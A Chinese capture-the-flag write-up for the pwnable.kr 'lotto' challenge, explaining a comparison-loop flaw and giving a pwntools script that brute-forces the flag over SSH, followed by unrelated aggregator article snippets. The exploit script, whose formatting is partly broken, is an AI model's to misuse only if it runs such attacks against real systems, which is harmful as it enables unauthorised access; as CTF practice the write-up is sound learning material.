执行分析题目代码,发现是输入值和十进制是1到45的ASCII码系统生成对应字母做比较;而比较方法是遍历输入值的所有位和系统生成字符串的每个位作比较,相同计数为6则爆出flag。漏洞啊,只要押中有一字母在系统生成字符串中,输入值全部是那个字母即可。

那我们按要求输入的字符转换成十进制只能是33-45了,因为1-32是不可见字符,无法输入。通过多次尝试,即可产生结果。可以写个脚本等哦。

from pwn import *

s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro=s.process('/home/lotto/lotto')
print pro.recv()
#pro.sendline('1')
#print pro.recv()
str="++++++"
#str+=chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(1)
#print str
#pro.sendline(str)
#recvstr=pro.recv()
#print len(recvstr),recvstr while 1:
pro.sendline('1')
print pro.recv()
pro.sendline(str)
a=pro.recv()
if len(a)!=71: #经验证,错误时返回信息长度是71
print a
break

愉快地结束。

pwnable.kr-lotto-witeup的更多相关文章

  1. pwnable.kr lotto之write up

    源代码 : #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcnt ...

  2. 【pwnable.kr】lotto

    pwnable.好像最近的几道题都不需要看汇编. ssh lotto@pwnable.kr -p2222 (pw:guest) 直接down下来源码 #include <stdio.h> ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  7. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  8. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  9. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  10. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. Spark-shell 报错:Failed to get database default, returning NoSuchObjectException

    Spark-shell 执行sql查询报错: 20/08/24 15:33:59 WARN metastore.ObjectStore: Failed to get database default, ...

  2. java面试题0001-区分类中重载方法的依据是什么?

    到底是根据什么来区分类中重载的方法? A:不同的返回值类型. B:不同的参数类型. C:不同的访问权限. D:不同的参数名称. 解析: Step1.我们先在DifferentiateReload类中创 ...

  3. Java8中的Stream API

    本篇文章继续介绍Java 8的另一个新特性——Stream API.新增的Stream API与InputStream和OutputStream是完全不同的概念,Stream API是对Java中集合 ...

  4. python_选择排序

    #选择排序 def insert_sort(li): for i in range (1,len(li)): # i表示摸到牌的下标 tem = li[i] j = i - 1 # j 是初始手中的牌 ...

  5. JMeter尝鲜

    最近打算对一个线上HTTP接口做下压力测试,选择JMeter做为压测工具. 关于JMeter Apache JMeter是Apache组织开发的基于Java的压力测试工具.可以用于对静态的和动态的资源 ...

  6. Java 实例 - 三目条件运算符

    package guyu.day0903; /** * @Author: Fred * @Date: 2020/9/3 10:59 */ public class Demo01 { public st ...

  7. Resources.UnloadUnusedAssets

    2017.11.7更新: 其实这个函数就是顾名思义,关键是理解AssetBundle, Asset, GameObject, 资源等之间的关系,参考此文即可: http://www.cnblogs.c ...

  8. 深入了解Kafka【四】消费者的Offset管理

    1.Offset Topic Consumer通过提交Offset来记录当前消费的最后位置,以便于消费者发生崩溃或者有新的消费者加入消费者组,而引发的分区再均衡操作,每个消费者可能会分到不同的分区.我 ...

  9. [BUUOJ记录] [BJDCTF2020]Easy MD5

    各种关于md5的Bypass操作,都是基本操作,考察数组绕过.弱类型比较绕过以及md5($password,true) ByPass 1.利用md5($password,true)实现SQL注入 F1 ...

  10. xAxis&yAxis

    const option = { color: ['#546570', '#2f4554', '#61a0a8'], xAxis: { type: 'category', data: ['Mon', ...